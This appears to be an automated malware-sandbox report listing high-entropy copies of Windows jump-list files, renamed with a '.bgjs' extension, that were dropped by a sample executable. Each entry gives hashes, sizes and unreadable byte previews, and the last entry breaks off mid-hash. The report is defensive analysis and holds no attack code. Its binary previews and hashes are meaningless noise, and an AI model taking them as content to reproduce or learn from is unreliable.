Preview:	regf...[./Q...?...L?..ya...4...G^......%..v..SU......T.S....1U./....p..%.q..OlxC..u.$...>....?.:^u..G...........u].l....E.T.X^...P....wb.../..>.!>.Wa.N..(..7o.O.......'.4..aLr..C'......7!..q.H........v...\|......L.q..U._{.M;.A^...g.........}..%m....G........ ..a.b....U@..k.\|.....\S......<H..B..j..B....T;cS.]b[..B.y.J.:.G.....\|.....)q...t.....By\|.&....$4....)..?.._...b.........i1.>.Y.....Y..T.E........X.n'-.^..#......Q.8.4.Z...q..S.t,.'......@W...^..R....t?.........\...I.u.b^..A<..r:T_....E.x...[..@q.'...!............o..7..V..P.4......T.q.._.....-0....S.7q,....2S.....oi7....1L.n._Ila.......r......:3. ...@!$}...7k..R.,.I..gV@.q.d..d\\.>..}..PK..'.7.[d...Gbw.~n...l.M\|..........O..........bw.R..6.........b.0.5.N..jl..ea.(...(,?.g=+n.&c....+.\|..\d=....t.9..TB.E(.L7,`Cw...J??......Y...e ...[.....2fs............/`P.e..8.".=.vD....R;.<..'.t.T.;oMQ..;3WE.3..EE~%.U."sp.Cj....j.D....bY.o..H....3.....6..w.... .t...M.OE.<.........DI.agQ$.(..

C:\Users\jones\Recent\AutomaticDestinations\162797d679096999.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.932210847992547
Encrypted:	false
SSDEEP:	48:IKJYol8nnDG1Wr+XxkEtdwwJ5kAroqbpcKJtP2ttBtfmnFjWIPzpthQrMvY/9qUv:IKSk8nDG17BJtdwG6ANiY+5kFjWIPzp+
MD5:	901131D5ACB4D75E4A82AC34FF49B94A
SHA1:	77C019731692A6042E3F33BE44B1F3F7B07AF3EE
SHA-256:	CA5EF2A7C33A1004F324543B43562208C55587E99123AE52CE4ED1644BA81CF4
SHA-512:	B41389018456540680CE5CB9EBD9C861B19133E79F49A09DC7775386AF312BA6F480E883FAC0A61D569AC032D122B03B0595D90B2001D717EA18DB4934979D66
Malicious:	false
Preview:	....ThHqT.Z\...q..7....R.}..U>...P@..:.S[}._.C.j...?...B...f.....3H..m*...}.l......v.W....@z[/..G.`.....QFj.P+.7cQ....f.....`.....H.%:.%..S.."...F6/.I......3.Wt....Q..x-3a..M...E........>N.b.I[W......y.u......\q...O}.\|...U....\|..!.\|Q,..s. .....N...}...3..C.....%@..Ox.q-[Rr.....gl.A.z..RC.R.....w.....r}...H............8..z...J.K#.z[..#~.....&.-....E.Z....._Qb....G(.._.TM...n[pu.s...^mf...66.l.Y.^a...k...v1^h.}..v......y.gn..........W.z...Q.....5`.....\...J..r..=i..8S..J......HC.N.P\..GuW~\|O..,...\."..B.8.Xsvmm]N....W.9.U...\|O....... .I.[D...'c..I#..DR..<..U.u....4...d.....G...</.'..J..fq..U.@X..y7.g..w.%..L..~..N..................%.........X[$.!.p\..#^x"..G..D..CP............q.#..$....(...X..._bS8...I..u.k..77...r..X.5.........KglS...J..P<.u7.)Da?..z;,6..7Z73..@ ..hp..I>.N.\0.t...7.;....0.........g-..(.........yEF.A.+....?....vn....^.@......{I....z..Y. ..0Z.=V...q..9O....y..."..4.q3....... .Y,.s.....%..4N1$.0........?.$!0...

C:\Users\jones\Recent\AutomaticDestinations\1b4dd67f29cb1962.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.957150516410007
Encrypted:	false
SSDEEP:	96:C1mWg71FTXwTYtJF0Ariki8Ks3aX3Xj7sxy/HHj8MFuQ:nD71FDwTYtMaGWKXjwyvD83Q
MD5:	699B5FAEC3A7504E87A7F52FA2DDDF2B
SHA1:	D8D77FC0164577341CC47D4E3ACBBBB0B2CC0B7A
SHA-256:	4BA7698E056AA275679A7D09D2A34BB402AB67A86E3E2FE4A5635D670C957437
SHA-512:	9FA48D8B93E1EA635C9EA3161D6C29B2BFF63D408A33B10671A14E47250D6FE261D074DAA24B5DC96C52C1543C952AABDE39F8C740DB754DAA06928F18210323
Malicious:	false
Preview:	....@]-l...$3.Q.6.o.........Uy ............fJ.9.ah5.F...x..;Kz...G.GM..@...lF@........q.?..&....EK.!.V..w..`L#......].0a.....xj..s4..\.F..j.\....Z.O...6.]@%.......f.^..:.w[.}.0L.\|...bU}...(..=\.RV.,R.J;. .-..y.....`.l..Jw.G.H.'.>..#r7..5..x)k7.M..I.+-.(...........~.<.....%...`.3V.Mp.p...?..?N.}..)`e.=Qn^..L\.....Q......hX.g.3..L..}q......8.aR.]rh..."Hw9:&...WD. ._].......Rq........-(..i.#.......Z.{X"}}... .zU...+.m.EH...RP...........V.6K........]D...B..KU.CJ..^.>..j.........9.>...[.9.e..8.s..F.#..[.EA.....d.........\|...k.V..sm.}.0......3...,%..I..g.k!9................d..8ES..~c..rc..r....TY.R.eJ..01..A9:..:..I\|~.A....[w.L.P.".(..4+!O......bj.E..$..{._Y....1.....DlA...A.~TX.K..4A......_.J...g..h....t.`>66.\|M...n.yi......=!...A@.{ ..x.:.........W...........&...>..T...P..~}...k;....ah.A.So...AoG...4...g....tN#.)0J....YX.<'.5...Dn..........(.^.>W.(3..<....,/..=..Fr7;..+.t..u........*.... N.......zM.w:...,..+_....7.../.y.@.....R1&8).%.

C:\Users\jones\Recent\AutomaticDestinations\1b6ebacd7cd2f25a.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.944250257977435
Encrypted:	false
SSDEEP:	48:isigXlnuz5lUyUgimcy1PCWKyOPydmFyAGFjU340ocWGVDRsPwJOzDEx8wXFuED:g5lUzgpFBKXPydmFzGFHcLRR5aDNGFuQ
MD5:	10757663E7FD5B25E87C7A0E0969CAFA
SHA1:	2FBDB9FA4B17AB6DA83B038FABC77178D967ED85
SHA-256:	945C0A2492D13B1497A19ADBCBFD5C3A784CB79D7CE14B5C7BD131FB5455250B
SHA-512:	18DAFA3F5D4C2766AC8E31E9245F10030D1AF2B0C7B69C17D60667E3EDB011F686920C4BA4D94E8B33D5866CB5F33A50A3782DF35ADD9DD4AE3E972660C03A50
Malicious:	false
Preview:	......o..Jm...V.L...z.VV..n=.....g.P..C./...............J3.z.ZU.ec...`{$. rH..b.....g..V......@Oh..?G.Uby.ciyC....Gn.E..@.<...&I%...[B+.EyB.j...w..[n(MH./.i..g )....l..0.D.H....X%.eP..\|...P..9....=4.".....{.X..W....{Fm.%."zt....2./m."%XY=......j.(.,EY..s.H..+.?,...G....k..1.,.I........,.......Z.},y.o.....0.4..?...7.......L_%........5.........h.).>..DSQ.b.Zk..>....O.j1..b6..mo.......M..b.~...M...-..v....<..(..``.7...{....{..!.i..{}t.....gY.56....h~ES.70.8#Q8..CrT.w..Sb...Eu..Z`..f..X...a.E.-sP..........f[4.:..3.)Q.>..v.,.C.4...7..!...]./.F.P..g.........d+mT+.<g.?Wm.RO.Q.N=A\..e.l.4....3A..&.);..]...&....\.(.eH.JTt.nzL...S..b..%p.6s".6!l.~i..t@hd?.x.T.9i..C;.\..=m.NIk.......\.aol.-...6..i.y#....C.o.r".....p.........c.W ..;Z=.....O.t....A+..RRE..O...rW.Q..BX......e.4....)...3=.....<..S@.$.l#a.a.........Z..w..V4....K)...8v\|..I.*..mE7.Aq..Q.N..'. ...`...f..^.xq....I..V.l.L......G.`I.%:. .}..e.....RM...q...FWFw.bc..n9...d.....&..aO....

C:\Users\jones\Recent\AutomaticDestinations\1bc9bbbe61f14501.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.9424666636448595
Encrypted:	false
SSDEEP:	48:a0nKT/eoIUw2VceKnlYieOphBvl199EAzlnU8/UJYvDuSHxhUVZ0XFuED:1KTIF2V5oaibf99dZU8/AoDuSRuKFuQ
MD5:	9A5E3FBE74D434DF6F49C6531BE8F326
SHA1:	2D3063C3726AA05186A772226433DF7DCA35D72C
SHA-256:	BBFFB446927D9FFC95EA68AC26B7184EE599F323A7A02806E66C58B8FA352095
SHA-512:	4100BA7DA87F9C81F74E5AF65831DE6C75D1C588BF72A35D8AAB0BC05AF523937D7DD611F87CEA980DC099629ABCEA7DDEED3F4521331BC44F3F820DD97A2C5E
Malicious:	false
Preview:	.....!z..\|=....l+..b.....eZ."J......(rN. .c'.^.Rn.l....3.H.C..._...e..=V. .......a.A..Gb......p>fG.Lc.0..?....!.%;2.B....];.....+......#..1...aM...=.Ktv-c.6.0.S.`2...WU.n/.x.j.....Z..$..-.1.[...<.H.....Q...+........w:...c..jS..w./...>...J...d+...i.W.y.e...}.[...m.V...t.G...-zC_.W...@.`#....G...@\|.4..5s@....].........&.K.Z.k..n.....\|.;...ba.....'y............=l..:0......!2.:......6...N....u\|....7......~....j.K.zl..@Pm..V.......4...5...._.:Xcv...cDk2P..G?}.....^......n...!../'$dULq.mX..f.E..Sz...!!.J/l..*.L.>...].>R{18).:...O.sf....[X...T...".h.G........hkZ.k..($....7..N.a h.E.IF..1..^.)@...&3Z..24.>6.@G.ZC.h.o.~............Swv.oas.\|.......d.}.."..w,B..f.0y/..../....t..\|...9r.......y%.....V.}..O.A.8......9c..~.t..q.'....h....d?,.L8..XjH:.dC..~0C/.b...w.\.......T.X._].4%A.....Jf:.2C:...U.S...4.W....Er..~. ....u.f%...p.7.Z.@2.t!.e.........O..]........1mM.r.S.uL.Z'..s..wo.2.N...zh}...+.IP..j..%.+2S1....c~.>.u..D!...A...9....&c..=fS.E

C:\Users\jones\Recent\AutomaticDestinations\319f01bf9fe00f2d.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.927520974744098
Encrypted:	false
SSDEEP:	48:m0Im2d0WxD+9q1YLD2HECAGsohWgpXKSREDurEYqfDODlRj2TnquXFuED:rItFxD+9qYLuEdGtASRcugU3jcqMFuQ
MD5:	E57F31F590D91BAE6268E18E362F2827
SHA1:	66047A2D5E89F57AF55F7288C3E1CA0AFE23D9E9
SHA-256:	80302AB18B2E047D868AB814A1E3C4B01E28E379C2FD32AA238F92B54FC65AC2
SHA-512:	B3665B251FE94E01B7C9510FDF3CFC3D81D377E5BB8022E9252728E9ED614B03277FB47E3A380BB27409FF90216F0AC6096484D599E06521A7A1D14E047F356A
Malicious:	false
Preview:	........H..}QM"jk..W`..0.!...FC.Gu.^...h.V..K.d..\|6.}....Bu...s..T.....L..d.G.. ..x.....g..n4...?..9.i..?...$_.u..1n,.T.x..p"{..M&Q..go...(...................Gr...l....C....r..f6n..4..Y..,\$.".hx(A.....07.$..)H.!./.S....<..:U...G.p.O..........qK.....{&..4..G\O....X{...R...?.j.."..1k...0Dg.mD....:......D...R.... Bfu<.5Q.........(..Lx..}.\........;... .^...R...3...IL...o@.x'..Zc.......@#.o..a._..P}...b.KZIF...#(.g..^.^.[..X....b..n.....l.).....L..`..U.Q.]..v..8.a..BE.._.8R/:.......:C. :%....L9...$..[.O.:4Wc.._..yL.`....F..5.9.......G.PQ7}.H.y/.b..r...O).3..}S{c.g.l.>......,..p[..Y..@V#`8.H.d.O.'_"...kWoo.O...w&.$.hs.q~.E..).8.lxa....t.s....1..n..B[.m...e..;..^.....=KuH.Z>..K.n>..`TX[..+...E..7u.....`i.....p.B.!B.^6.z....t(.r...B...h...)X-E...=.n.....>.W.}U....6...O...SM...W@U !.<..HB.E..P.....n..8P...Qv.*.g..>.6..H...$eE+x..<.Hi.5y.I.....o8.Z.Wsw./.&+c..C.O..R.[..\|.\|.....F$..G....:...{^...I.......Q...[.}.%)..=9\|..f.D.D.F1...},,.o[a

C:\Users\jones\Recent\AutomaticDestinations\5175b273ceba776b.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.929343893450601
Encrypted:	false
SSDEEP:	48:qaE94mMABHlVmFUozdqk1SxFyRJiAk05q7bCYt4Hc2yfbAAyz/G7Re9i8XFuED:wlTVMck1wCH50O8n5R4FuQ
MD5:	459AD88AC4C573ADD60886F37D576B9D
SHA1:	73F6624332A731BBEE996A6717B38CC4AC3AC754
SHA-256:	65ADE36BAE617CA64546BE8603936179D68C22DC83DA8C3DD7DCC6912122BEFD
SHA-512:	7C6A2745CA4746ACBA23A767104501015FA80E841F052D2C196F6A97D8A795329ADAF36039B0BCE6503D995F08C86BFE99E598166317E6854C8DC24C0B088079
Malicious:	false
Preview:	.....T..e..@.M$<..4:M......u.b..K.e......<.....,.....7...JME$}..G.......7..R.E=...)+..0<.>...!.w.W.....".....6......N..7.V4.jq...f)..o..=..$vGx...OZ...@......K.I.%F.K..6.R..v.H...\|........'...\P.=.N!..m~...7....91....0.........5l..D..q.bF.....'Y.$.@...1..P..X.#-zs^.......U.S.i...CM7......Z/..;..6p..&7.?o..7j..&N...H.i.y..n....5...o?&.5":1...sz1/FB......OF.Q#ff....V.....9.un.vy.>.......P..=.\|DH.a.(...S+...L..la p.hW.......ku.Jv.9...D.g.o..V......Ch..j 9DE....t.Oes.gH..4g.H#z.G....c...x...G.x.....S.4..f...s.Kl.v.u.z..#.).....M.....t...Q...vX.,..w.rP.2....H....9.....a._..B3.<.{....E..g.}p~B.....v../.....#...>....5.C.W.(d..u..c..p.rk?+.....q%.W...i../V.fCM....<.NA.^...W...c...Y..L..H..}.8..W.p..~..2...a......}..{3..48.4.M.9.Gg.E.?../z..&...a.L.:.9}`.i.n?.....L"K.^....6.E..@C...+n3...........L0...,.aX.7..._....o.rBb..e.p..e...6.a.Y.O....1XJ.....-..;.....K.F.......S/*3.P.D...-.CMv,..(Y8...ne...b7S..KI.T!<.t..5.`..:..Z..g.FH.?......."...u.sB.

C:\Users\jones\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.956291265126906
Encrypted:	false
SSDEEP:	96:3YNRCJREJWQrZhJo+sCS2Z+iyDF/qOnlNxqyUl/QD/5w8wFuQ:SaR4zlo+zSS+bDF/qkBqbNQFfLQ
MD5:	01EE96398F46079D29964803C43CF08C
SHA1:	CE9D92229DF22D2C6D51E0AC623F57883C5AFB40
SHA-256:	074C5B481D997F864B9F48AED4E96E71A31A3C1426FF1D2DF5267396931A6F9B
SHA-512:	15130780AF8A04F38629CAABC8D28887090FB3F221A3EDF63BFBA43F53FD6BA6A2C9E30F49ACB280DDDF90E2A80DAD2E0A2D3FCF9F5060FBC51768888D3C7113
Malicious:	false
Preview:	.....z., .P..Zm....#;..Y.t8.-.\|...\|D...o#...\|.w..";.Y.........eo..@.}.Vk.sL.......5.%...Ub}...W......+..5we..)~..f..x.Y.Fy2V2......\7i........Q.8.y...X...^....?.w.."..{....s.j..J....Q\....b....._N.nV}l.e~Y.W(..Q.53..S457......!./r...7d..s......M..?.%...1.....Gi..W.\...^.DN1....8......:..=:...%...:..M..!..5&..v....lVg..B+..BK....=...i..Q.~...0...c7..........).../.......2.....4P..$.`cT...7...h....!.{.D`.7t......2.W.G.:X..:....!...U.1#.....e....7...s...Xp.o.l2M....!...@?.:..K.FtRB......H5z$.2Z.S...?[:d@.Q..A....o.'...x}Bn!wWS$@......cp..`..m..60.!'.N.@....@gL.L.B6.z..1xbq..?~f..o..P.K..J."!.xe....i.%.....Wr+F...}..G66.c.....2._..ac.=.w.,.%..:.V......M...?......./.ux...M.N.....v%....>.G....C.7.-...K[Z.x(..Ew-.."....3..s.....hi#.V...f.].1.@M..R....A.....F...n..........-.9...z-....B.M.........FN....\..Y\ W.Q/.H..~.h.D..A..........s.......wY......).....y.U..^ca@C.....<.....a...j+T...p.B.,...]o.w...1...0....U..w.z....4u(....[...c0

C:\Users\jones\Recent\AutomaticDestinations\61ebb1e65cfcb8da.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.9287163295764485
Encrypted:	false
SSDEEP:	48:o2pC0EOU1CB83yqDbjK+Q6V76kY8hA4WV8zYgrx04FRMPQDjJ80G4LCqlsSo1sG6:ppX9Zmy4dh1vY8hA4Wax0yCPQj3ZomG6
MD5:	0CC08577CA86DA2EFDB8FE79C9BFFB0F
SHA1:	697A19C8098E2FA51F9144CDB0FBC3818BB72A65
SHA-256:	8653E25FA5FFA80FF191746D943E51945C3EEC9CABAE171D9023CB52069AAF43
SHA-512:	1BFD22EDE1BA93D064C2A871FDD9FEAE25861C5052AA69ED4937F6B647E409957C0156A8CBD8F161C7C1537955724D414C47EC5AD3EEB63301A6CDA938DD6F50
Malicious:	false
Preview:	....6.O...,.8.b.zR....W..T.,.l.G...i...r...L.g ..k...=..Gp[.N.8.>.4.....0...6FY.......c4v.R...=.w.fU...+..+..t.1&..8...>...1.Q_.7.).f.,..IY.....c7....7.>...i..".lC..c..E.q...md....8K.k.....~.....?{.AY,........-.q..S.Fm..g.ow.<......f.ktC.7...&..... ......v.}qm.....qH..../......-..U.l.......:....L....2Y.....>7..d..!.....j.D@..r5..dL.30o.\F......]..b..Q...n...LL ..2!......... .".kM......."qR=96.....].\|S.`nzZ.iS.m...d.D....8....vL..,...7z(?.'..s.e.U..E9wg.C./p.i.7....+/q.\ ..Z......=..%.. .n..Y.!...<t..H....Eok6....)......a...B..#..P..?e..HXNT..93.........-.c....n..t....An.Z.)..7%...o...L.M}.5.$.X.2.."....@&.`....j>...,......=.H]....G...s...K.E]......N.......IH.v[0...c..h...Bf...(.z...Z.c.'\|..y...\7..M(...-../_N5~c.<{A8.z~...T3@...-....-..v.<.z'.bVe..L.C..y....\|.N.$L!....^Y......R...&6.n"H...fv..P2.#5[.......(.}v....O..5.sS.55`.'#fl..&U..b.{..S....LK&..........T...L.4A.s..b.uO..Q.%n.%.8.fK'7Z0....y......d.A..R.`@F<...}...Z...,.7b?

C:\Users\jones\Recent\AutomaticDestinations\6d2bac8f1edf6668.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.936741410231159
Encrypted:	false
SSDEEP:	48:iDf17qFAJAVV5IhwBUZgGIpRmYXa7wPre3qSFXLr3g1YZJkIJ+6anHXXFuED:q17+zIhwBEjymE0wPYXLr3JkDnFuQ
MD5:	6EFF6BD7B094E75CD88E8E85FF503C7A
SHA1:	C44C0E158EA7CBA9B2E50B8E95303D1334AFB28B
SHA-256:	704DA205F1131FAA6F4D4534CF49384A157D3C72325A5368DAA19AE3D149332E
SHA-512:	510D13A3DF325763E9AA52EF0B6C31F75F5782465943F2B6B1D4BA74868C447D050C7501CEFC440BC6CC4DA44F64C4DAD777AFC56053B90E00D1D9E4C2FB69B3
Malicious:	false
Preview:	......\....X.}..9........3.#..Y3.C..W....7.K.$....A....)<...(....L...O...E..n....F...,...:.....=.......G.p...0..P.>.....m.h...q.....R73q%q...].v-....6..npBB..}.....;OC.nKrc4..>Y.pF..?dL;.Hn;@1I..Z...<e.:...c.%7E..$...O..&......M.{...wgaE..Pg..s9p..h..o.].'..m9.6........3....B............v3DH<V..(N.~.\plWo&..p.CB5.)V>...3yd....x([.....Q..(f...(./.._V..".7.(.i.>..{R....R\|.\....-Y.2X.=....N`w..OE.(.Y.%.....W....Z-.7&.......D.M..Z.;..rv....S.......R.....Z.>.m&\|.5...]%o..Q/......b...7.."V..-..v.-.r._vZ.../.....s6.pWZ<P..x.r..lE....I ...o.....kb1..MGY.F [...[.......si.Eb.."../s....p.a....^U..0....4wDV2\|.,.6D....l...ak..'x.5.2...\|?c...@.....bv...[..Y..C.P...d..d.....&']..\|. 9...#..yf.?...e....=...C{f..] i...."^5.}..e&!....`0\O....UT6...j0.5GX'.../.....\.Yy.=v.U0.n$...N_.."..c.bB..Y.x...6F....n....B.&.,..'...$..4.\|..m....q(..[..B.w.5..3 ....Z....._.:...jP..T..W%..w..i..Eke..q....Ct..L...#t.`.6&*.a.F....H.qaW{...{n\|U.J.)a.....n.e...b.N.M.9..5.xh.Y.dr.

C:\Users\jones\Recent\AutomaticDestinations\78f0afb5bd4bb278.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.941934788611593
Encrypted:	false
SSDEEP:	48:21E/muRwvJsNXyU/yIVanhXywryFyVnJGL6CwrrQvcZiSAydMcq+WIR+gAmNhIA4:21JuaDIchXywwyVJxCwHumdMcq+1x4A4
MD5:	1A80BBB7462515B956AACDA02BCCD33F
SHA1:	7E9A0BB2A26815B41F440DEB28BD8D475E419356
SHA-256:	8EA2350E6855038537B362E1E32A856254FACB5896EEA191813F0F56A1BDFBE4
SHA-512:	F7F1CAC0938A7E429545EEEF15897E2553210533D52A028D2765A1FB88F2850E2761E6DF777837D718881E5C7C66D691387C18EC285ED7F6E7E3CC742B9CB996
Malicious:	false
Preview:	....P....s.9Fu5^....2...?$..'..$.x......xQ....\|:}.7]t=...O.#.oXH.w..?.X.........!?...$..^.......v........\|...."i.../.3....3....JXT..bqp...O.......{_.....O].q.....~..R..6.(......\|.N.....n.1...xW~.I....#.x[.#({.{.......R.e. \|.FUs.X..R@D6.,>&...1.e..f..`\|.......Ur..E.\|....q.2:.}.$s..+%o...(...Q....$A.\....w..~..A)QI.".uPQ.......7.J.R...zC.!.[..NX...WMt.Y.j.......zL..c$.Z..W.....5.)..G..^..N$.l.....X...`..g..Lm0i.P..L.a..iji....4.. ..T.T[.B.r5s5....g=.}.1..5...O.'....{."7...Y...V'......k<....W3BHX.].D.>-{..?...>.o.....O...R.~.jc.!`..... ..SYx;.1)3"..7.i.U.g...J.#v+.AG..&.w.G...]-..I..VH=.d. .....d....v.........w.1._N\..y.g.$.(V;...>k.I.PP1#.069.M$.H....^....uK.I7S...`..s.y........-.c..;.x.qk.....k...n..X...c..f.L......^.Yi..s...Dg..&q..M.S<Sj>y2.Y....A3.......q.. ...B.j%.w...XJ.....]l..NK..q~@.9....$.....LL..!@..c.tm.u5..<.2..!......."[...........n.....Ih.hk..a...m.z..z....7...{....2..~mI....z3A@n....9Jd..{.].Av>`.#...V.}.8....7...

C:\Users\jones\Recent\AutomaticDestinations\7e4dca80246863e3.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5966
Entropy (8bit):	7.972397376004895
Encrypted:	false
SSDEEP:	96:/COx6DLoOzsNtlRXTkKVCKZNE6KSWtog6Hn4ztiAEXBUhNuQoNWH3A/xA7qQRFdR:pWANtPX4KEKv5Wthz/ewNHoQSIndo4+e
MD5:	8600BBE12D9BB88E919DBA74E3B7B5A3
SHA1:	C48E9E9626D9E5836DBD51F3B909E6243CC55328
SHA-256:	E3ED6B435EBB779F6A1251C487C11276DF28CC93E04EB5816EC06A9593984FE4
SHA-512:	5D9179123646405827D7CCEFFE128A4C5B55A7F2FC3DA5C82DD209AF7629F41B5C565AE6571B86CCE1096FB0F334938A050555E07D842725D1D7B866D611F925
Malicious:	false
Preview:	.....`..P.+o$...S.Ky!$m..a............e`...}...1V.....j.4....,.u.?...)v...)..a....(.3,...8#V....&...`..j.Dx.$.....Q?..p..A}.s.5.UG...5.m..+.Bi..%.U.....!.e...2I...h.!.~:T"A./...5..+.F.V\|7...P.....X.sG...Wj...3.GG..g(.>....>..h$#\|A/MA4..PD..3.DF.?....\)a....}.8:...3..F..C....,1O'.#.C.D..Q9b..0v-...s.y....R.s .d....<...??.......Cw..u....^Dy.p........\|...0...&r....v.r..P{.D...A....#(..\|8.N.{.].(#...!E.M._.`^...P..S........W.Gt....M...u...............{....V.J....R,.....6>.......\r..........w...:..w?..AA.....^H.{F..6.9..C.Vp.X..t.7....q..2..Y.0.w?m.(.y.....).CP.&...).}..Q.J.p.Jh.=....c..<..JE.\...&4.p.....d.k.r..5M^$...>.5!T......(.`.:.P.&Oc.,..n.(...V5.A..1...m.o........:.@..Z-...pj..{.'..h~.....\...r.<:.Y.sz.j....:c..i.....I{caFV:.o}`#.kG...G...Cw.I.rc..........O..G...g..?W...w.}i...I...6Ue.].^I.}.K.:...)e4.r...z.........#..l..J..z..v.^:f.\K.x.\..0=s!.KE........c/z...[6.....n.^.J..j`........l`L(arJ..Bq.....jR......K.}..}.G.

C:\Users\jones\Recent\AutomaticDestinations\9c08ad74ad8708df.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.935583001281712
Encrypted:	false
SSDEEP:	48:DpqTQtn1D6IuEF4fg8Yb5LbX0SL3y96LAnLl3B3tR6hhy2MYiCgYweISsJEKCkav:oQt1D684fg71cUSeAn73tUg2MYiCgaKe
MD5:	0FDCD6538AD0C5D2901037282AFEFDC8
SHA1:	16825AC80363F1371B23D0AFE3086D416DF060FE
SHA-256:	3A9528A886CAF6A7CBCAE88FDAC31B7CF713113726BA98F434895BD02C681F5E
SHA-512:	4B0D8C9069259F3CE403D312EAD5DD78E14724240F8002AC826D4D8FD9F7D7438F25B547834CD27CC71C3E32F4196B1CDE57D6E9C24BC9572B8797989D0D5BF7
Malicious:	false
Preview:	....X...1.z..l...3.....;N..-<F.1.Rj.A..+J....<.\......j.nT+I._.....[....(!.Q.u...`jI.:5:.....CZ.....y.....v.{..v.Rz4B..;.<_k..m.G..p...1`.x;.Vo..:H%.i..L......\':J8Q..P..Q^...z..a..#S..J.z....\.WG...o....G.8G.....Bb..p.E.9.;.7.d..S>.\|Q.D..~.0...;....p.e..\...IW....E.X..<...2..};.l......N.fpC....#.Tj.\|..5.....t2....P.}...2..8d.{...x.....8..v.e..........h...z..\^.....3.:z..X%...Y......H\|&.s.1.(.<#T..-\|r......Z...r.B3.@.q...A..<"...R..iJ]......9...C.+..2....h~..d.ibz...v+\|KMd..8=..b..Y...."s..2..o.......K.Oq>.H.eCM.nQ....FoU.I..(.x,.................N./_g =.D9lHD.$..\_......n.4.s$,Z`.C#...!....'.......+.JRxe+x.&=J......J..v...hx.&VUF........A.B.Z.....3 B....)p..(h.:.....pr.....&..\|...g".....\.M..Z>..59.=>../w..A.hDc'...].<.%u.D...9..rd.0....<s.YD..B.F.4[.u=p..;.A.l..3.s....%.uy.5+......q.m.nZ0._W..N.Ra{t..:4...D.&Wf..=..H.]..P.d.W7....&....>.c_..~....(.........c.(..M.=..6R..u..No...j.I s....c.P{....#@.G.o....f..&..Of..~.!\|.B.X-t...-.

C:\Users\jones\Recent\AutomaticDestinations\9cfafb05ce914942.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.92630306603871
Encrypted:	false
SSDEEP:	48:JcLqCG1Y/axH8SI77zWMGj3LL66vA6n+m2eoW52mhA8+v8R8pbbICQbi3tpYv/Xp:JcL7GzNa7Ofj3XrnhxoWb1erQOXo/FuQ
MD5:	15C3445EF1CD037F2C98B634C4AB3F66
SHA1:	F6A5AEB67F8481D11866AFE676A4A7AF1AFB153F
SHA-256:	83159E0244A5035AE31334795A1C2C29F3F872C4CC5A251E0AE27DC4E4CA259D
SHA-512:	04130197ED822DC64EA86C5B7A882EE2F86D2A5A4BB701211597E8C3C1848C30FD3F9A23407006B9802B6D4FB5B21AB9C54E0D58AAE5BC3708DB164994A0EC75
Malicious:	false
Preview:	.....G.S.......ka.....H].!q/u.@..U.SDdp.\...\{.. .`ew..B8...kd../.v......Y-.0.._[..!.o.%72jd_.....s.8P.g2....-.?t.l.bX.w-..+..6..t.m.g .S.J.%..9'.a.......2..1.U..n.7.b..Q.it..3..g..uq.8,.>................l%5&.AZ...gc..@.kL/+Bu.T..Y.0.S....{..<2Fn.O.....5s..> .0r.o"..z_.n..88..=.,b.B....bp".".s.T....b^.........A...tW.Hw^D8k.;P.\|O.k......ea...).,G......h[xUM%..M...=m...@....o!n..B.f.S..!.j..S.....0.........bWR8.Ts.U.<:..f..v p...@:.=#.i...h........T!..NAN..l..i $?..x...Y#...a........^..^.B>.......b....w"...q..M...W.E.....u tM';.h(."B..H....T.a3.:.....&...- .v..m.\N..i....}.t....."..Rc.y.H..(....G.S.".=...g..#M......%..Bq.4.....d\q......q.E.l.v.R.D3.9du.Q.5..y.....U.j:?S....>dSU.W.X...BB8R.yt......f.5k..R...k..)o.Z..7...Bo..lfS.y..............{...Q..[...G....D.......Sj...-T....s.m.....d.ii9.Rr....&..h`.B..R>Cz.0L.W...L.P.x}t............F..M.M...^#...1%..a..V)l..\+>.....Z-\|l.b....'...w.l_Vg.TR.8A.-.k..bOZ.L.~..(.?~a*.S....WJ.IzrP....kb...

C:\Users\jones\Recent\AutomaticDestinations\b8ab77100df80ab2.automaticDestinations-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.922663925847295
Encrypted:	false
SSDEEP:	48:vrqAjvWwvSwSdV8B1Q/2fh9OmpyrA/HPd8NBW0Zr4psKeUcW1VKBc3RXFuED:aw6wS8DQeZ9rpyroPdE15uj1N1VKBcBp
